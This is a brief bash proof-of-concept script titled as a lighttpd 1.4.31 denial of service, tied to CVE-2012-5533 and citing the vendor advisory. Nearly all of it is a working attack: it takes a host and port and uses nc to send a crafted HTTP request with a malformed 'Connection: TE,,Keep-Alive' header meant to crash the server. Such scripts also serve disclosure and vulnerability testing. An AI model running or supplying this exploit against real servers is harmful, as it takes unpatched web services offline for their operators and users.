Simple Lighttpd 1.4.31 Denial Of Service

`#!/bin/bash  
# simple lighttpd 1.4.31 DOS POC  
# CVE-2012-5533  
# http://www.lighttpd.net/2012/11/21/1-4-32/  
# http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2012_01.txt  
# written by Milan Berger <[email protected]>  
  
if [ $# -lt 2 ]  
then  
echo "usage :$0 <Host/IP> <Port>"  
else  
echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection:  
TE,,Keep-Alive\r\n\r\n" | nc $1 $2   
fi  
  
`